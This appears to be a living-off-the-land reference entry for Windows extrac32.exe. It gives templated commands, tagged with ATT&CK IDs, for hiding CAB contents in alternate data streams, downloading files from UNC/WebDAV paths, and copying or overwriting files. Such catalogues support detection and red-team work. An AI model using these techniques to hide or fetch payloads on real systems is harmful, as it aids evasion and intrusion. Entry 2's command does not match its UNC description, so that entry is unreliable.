Extrac32.exe

type: OSBinaries
Extract to ADS, copy or overwrite a file with Extrac32.exe

Full path

C:\Windows\System32\extrac32.exe
C:\Windows\SysWOW64\extrac32.exe

Commands

  1. ADSUser T1564.004

    Extract data from cab file and hide it in an alternate data stream.

    extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe

    Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.

    os: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Type: Compression

  2. ADSUser T1564.004

    Extract data from cab file and hide it in an alternate data stream.

    extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe

    Extracts the source CAB file on an unc path into an Alternate Data Stream (ADS) of the target file.

    os: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

    Type: Compression

  3. DownloadUser T1105

    Download file from UNC/WEBDav

    extrac32 /Y /C {PATH_SMB} {PATH_ABSOLUTE}

    Copy the source file to the destination file and overwrite it.

    os: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

  4. CopyUser T1105

    Copy file

    extrac32.exe /C {PATH_ABSOLUTE:.source.exe} {PATH_ABSOLUTE:.dest.exe}

    Command for copying file from one folder to another

    os: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11

Detection

Resources

acknowledgement: egre55 @egre55, Oddvar Moe @oddvarmoe, Hai Vaknin(Lux @VakninHai, Tamir Yehuda @tim8288